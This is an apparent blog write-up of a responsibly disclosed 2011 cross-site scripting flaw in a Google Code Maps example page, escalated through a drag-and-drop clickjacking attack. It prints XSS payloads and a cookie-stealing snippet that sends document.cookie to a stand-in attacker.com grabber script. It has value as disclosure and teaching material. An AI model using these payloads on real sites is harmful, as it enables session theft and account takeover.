“Self-Only” Cross-Site Scripting:
When requested with a valid location followed by XSS payload
e.g. pune<script>alert(document.cookie)</script>, makes following GET request to Google Map API :
http://map.google.com/maps/geo?output=json&oe=utf8&q=pune%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&key=ABQIAAAAzr2EBOXUKn m_jVnk0OJI7xSosDVG8KKPE1-m51RBrvYughuyMxQi1QfUnH94QxWIa6N4U6MouMmBA&mapclient=jsapi&hl=en&callback=
Google Map API returns JSON response to the request as below:
This response is rendered by the example page at Google Code as below:
“Self-Only” XSS term is referred in past by many researchers for “CSRF Protected XSS”. You can read it here and here.
The issue I found in Google Code site was not related to “CSRF
protected XSS”. I referred this bug as “Self-Only” XSS due to its nature
because this was not a GET or POST XSS and was only exploited by the
victim. This means that the victim has to type “<script>alert(document.cookie)</script>” in the input box and click “Go!” to get his own cookies. Confused! OK. I’ll try to explain this with Google Code example.
Cross-Site Scripting in Google Code:
Google Code hosts the documentation for
Google APIs. The Google MAP API documentation includes the examples
pages to demonstrate different map functions. One of them is “Simple
Geocoding” example. The link for this page is:
This page displays geo-location of the
requested location on the map. The page makes a GET request to Google
Map API and displays the result.
e.g. pune<script>alert(document.cookie)</script>, makes following GET request to Google Map API :
http://map.google.com/maps/geo?output=json&oe=utf8&q=pune%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&key=ABQIAAAAzr2EBOXUKn m_jVnk0OJI7xSosDVG8KKPE1-m51RBrvYughuyMxQi1QfUnH94QxWIa6N4U6MouMmBA&mapclient=jsapi&hl=en&callback=
Google Map API returns JSON response to the request as below:
And executes the payload in victim’s browser:
This is due to lack of sanitization of malicious data while rendering the output back to the example page.
A quick analysis for request/response
reveals that this XSS cannot be exploited by classical GET or POST
method. As an attacker, we cannot control any request that can be used
to craft payload and when sent to the victim, it executes in his/her
browser. For successful attack, the victim has to type himself/herself
XSS payload in the vulnerable input box and click “Go!” button. That is
what I referred as “Self-Only” XSS.
Exploitation:
During the discussion with Lavakumar, he suggested to check for possible Clickjacking with HTML5 Drag and Drop exploit.
The target page was vulnerable to
clickjacking and after spending few hours, I was able to craft a working
POC for this attack. Here is the scenario and details:
An attacker hosts a Drag and Drop game
which convince the victim to perform Drag and Drop operations. The game
page renders the vulnerable Google Code page in an invisible iframe. It
also has an element link this:
<div draggable="true"
ondragstart="event.dataTransfer.setData('text/plain', 'Evil
data')“><h3>DRAG ME!!</h3></div>
When the victim starts dragging this, the
event’s data value is set to ‘Evil Data’. Victim drops the element on to
a text field inside an invisible iframe which populates the ‘Evil
Data’. Victim clicks a dummy button which is placed onto the “Go!”
button from vulnerable page.
This is how the PoC looks like:
The victim drags the text to input field which holds the XSS payload.
Then he/she clicks on the “Go!!” button.
Bingo!!
The Attack – Cookie Stealing:
By changing the ‘Evil Data’ in Drag and
Drop element, pointed to the attacker’s cookie grabbing script, a
successful cookie stealing attack can be performed.
<div draggable="true"
ondragstart="event.dataTransfer.setData('text/plain',
'<script>document.location=\'http://attacker.com/google/grab.php?cookie=\'+document.cooki
e</script>')"><h3>DRAG ME!!</h3></div>
The reward:
Google security team has appreciated my efforts and put me on the Google Security Hall of Fame.
Special thanks to Lavakumar!!
kkotowicz had explained the same issue really well.
Timeline
Bug discovered:15th Feb 2011
Bug Reported to vendor: 21st Feb 2011
Public Disclosure: 21st Mar 2011
Original Source:
0 comments:
Post a Comment